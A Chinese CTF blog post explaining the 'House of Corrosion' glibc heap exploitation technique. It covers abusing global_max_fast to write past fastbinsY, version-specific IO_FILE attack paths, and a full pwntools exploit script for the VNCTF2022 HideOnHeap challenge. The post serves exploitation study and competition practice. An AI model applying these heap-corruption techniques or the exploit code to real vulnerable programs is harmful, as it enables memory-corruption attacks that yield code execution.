House of Corrosion
LOLOLO Lv3

House of Corrosion

攻击原理

fastbin的管理数组 fastbinsY 如下

当我们通过类似large bin attack或者unsorted bin attack等攻击手段将globa_max_fast改为0x7f的libc地址时,这时理论上很大size的堆块被释放时都会被放入到fast bin当中去,而fastbin的堆块被放入时,会计算其下标,这时候就会出现数组越界;所以只要我们计算好我们的size,就能通过释放非正常fast chunk去覆盖我们想要覆盖的位置。

然后 我们可以使用以下公式来计算出目标溢出位置,对应的需要构造的堆块 SIZE,其中的 delta 指的是溢出位置到 fastbinsY 首地址的差值。

1
chunk size = (delta * 2) + 0x20

参考wjh师傅的文章,有两种利用手段

malloc

利用思路

  1. 首先改写global_max_fast为大值
  2. 然后释放一个size可以溢出到我们想要的位置
  3. 然后利用UAF漏洞,改写第二步被我们释放的堆块的fd指针为我们想要的地址
  4. malloc,size同第二步释放的堆块一致

这里的可以利用的原因是:在 malloc 的时候会把 fastbinsY 的链表头部取出,并且把其 fd 位置的内容作为链表头部写入到 fastbinsY 数组中,而在这个过程中没有对可控堆块的 fd 位置的内容的合法性做检查

free

这个没看懂,先放放

写(这里直接复制粘贴wjh师傅的博客)

感觉这个才是主要用的

写的思路与泄露的类似,就是利用在 free 后此 SIZE 的链表头部指针会变成被 free 的堆块指针。利用这个思路可以在 fastbinsY 之后写入堆块指针。

这个思路只能写入可控的堆块指针,而不是可控内容,但是相对于之前的方法,这个方法不要求主程序可以申请很大 SIZE 的堆块。

写入位置的选择就很多样了,只需要抓住一点,我们可以写入一个可控的堆块指针。而使用 Unsorted Bin Attack 或 Tcache Stashing Unlink Attack 能够写入的内容都是在 LIBC 上,属于不可控的位置,通过这个打 global_max_fast 的思路,就可以把不可控地址的写入转换为可控地址的写入,这给我们提供一种利用思想。

  1. 在程序中有通过 exit 来退出循环,在这种情况下,我们就可以通过写 _IO_list_all 再配合不同版本 GLIBC 在 IO File 的攻击思想或考虑用 House of banana,最后 get shell。
  • 2.23 版本:对 vtable 的位置没有检测,可以直接在任意可控位置伪造一个 vtable,具体的利用思路可以参考 Angel Boy 的 House of orange 的打法。
  • 2.27 版本:在 _IO_str_finsih 和 _IO_str_overflow 中有对函数指针的直接调用,可以通过调试找到对应位置并修改为 system。
  • 2.28 - 2.33 版本:这部分版本把函数指针的调用改为了直接的 malloc 和 free 调用,这使得构造指针的思路不再有效,可以考虑用 House of pig 中的打法。
  • 2.34 版本:这个版本把 __free_hook 和 __malloc_hook 都删除了,所以使得 house of pig 的打法也失效了,可以考虑使用 House OF Emma 来攻击。
  1. 覆写 Top Chunk 标志来触发 House OF Kiwi,House OF Kiwi 的利用条件有一部分在于触发在 assert 上,使用这个方法能够快速的让 Top Chunk 的 Size 变的 “不合法”,再次申请大于写入堆块的 Size 的堆块就能触发 assert。这里触发malloc_assert还可以通过large bin

  2. 结合 House of banana 来攻击

  3. 结合 House of husk 来攻击

  4. 在程序中没有 Show 函数,并且无法使用任意申请来打 stdout,可以考虑使用本方法来打 stdout,并且同时设置_flags、_IO_write_base、_IO_write_ptr、_IO_write_end 这四个位置写堆地址。

    • 其中最需要注意的就是 _flags 的内容,由于写入的堆块地址可控的只有末三位,但是如果要通过 stdout 来 leak,需要在_flags 要求满足以下三个条件,其中条件 1 和 2 都可以通过构造来解决,而条件 3 只能通过堆地址的随机化来碰撞。

      1
      2
      3
      _flags & _IO_MAGIC(0xFBAD0000) != 0 
      _flags & _IO_CURRENTLY_PUTTING(0x800) != 0
      _flags & _IO_IS_APPENDING(0x1000) != 0
    • 在满足了_flags 的条件后,然后再调用能用到 IO 的函数,就可以泄露堆块上 _IO_write_base 至 _IO_write_ptr 这一段,所以至少需要两个不同位置的堆块来构成溢出,这部分区间的内容上如果恰好有 libc 地址则即可实现泄露 libc。

    • 本方法的可行性主要在于这几个需要覆盖的地址都在 fastbinsY 之后,而且我们溢出过程中需要计算 SIZE 的关键变量是两个 libc 地址的差值 delta,在这个求差的过程中就把 libc 地址的随机化给抵消了,使得我们无需 leak 也可以做到写入多个地址。

    • 这个攻击的思路目前应该还没有师傅提出过,这里的堆地址随机化爆破概率乘上利用部分覆盖爆破打 global_max_fast 的概率,应该是 1 / 32,实用性很强。

例题:VNCTF2022-HideOnHeap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# encoding: utf-8
from pwn import *

context(log_level='debug',os='linux',arch='amd64')
p=process('./HideOnHeap')
elf=ELF('./HideOnHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


def menu(choice):
p.sendlineafter("Choice:",str(choice))


def add(size):
menu(1)
p.sendlineafter("Size:", str(size))


def edit(idx,content):
menu(2)
p.sendlineafter("Index:", str(idx))
p.sendafter("Content:", str(content))


def delete(idx):
menu(3)
p.sendlineafter("Index:", str(idx))

add(0x88) # prev 0
add(0x88) # 1
for i in range(7):
add(0x88) #2 - 8

add(0x3F0) # 9
add(0x3F0) # 10

for i in range(7):
add(0x3F0) #11 - 17

edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' * 0x8 + p64(0x21))

for i in range(2, 9):
delete(i)
delete(1)
delete(0)
add(0x88) #0
delete(1)
for i in range(7):
add(0x88) #1 - 7
add(0x118) #8 overlapping 1

for i in range(11, 18):
delete(i)
delete(10)
delete(9)
add(0x3F0) #9
delete(10)

for i in range(7):
add(0x3F0) #10-16
add(0x3F0) #17
add(0x3F0) #18 == 10

for i in range(7):
delete(1)
edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)

for i in range(7):
delete(10)
edit(18, '\x00' * 0x10)

delete(1)
delete(10)

add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20

edit(8, '\x00' * 0x88 + p64(0x91) + '\xa0\x7e')
add(0x88) # 21
add(0x88) # 22 global_max_fast
edit(18, '\xc0\x65')
add(0x3F0) # 23
add(0x3F0) # 24 stderr
edit(22, '\xFF' * 8) # change global_max_fast
edit(8, '\x00' * 0x88 + p64(0x14C1))
delete(21)
# gdb.attach(p)
edit(8, '\x00' * 0x88 + p64(0x14D1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14E1))
delete(21)
#change main_arena->top
for i in range(8):
edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)
delete(21)

edit(24, p64(0xfbad1800) + '\x00' * 0x19)
edit(22, p64(0x80))
gdb.attach(p)
add(0x300)

p.interactive()

题目本身白给了double free,同时可以构造出UAF,主要就是没有IO函数,无法通过stdout来泄露。

  • 本文标题:House of Corrosion
  • 本文作者:LOLOLO
  • 创建时间:2022-03-15 17:00:39
  • 本文链接:https://lololo-pwn.github.io/2022/03/15/House-of-Corrosion/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论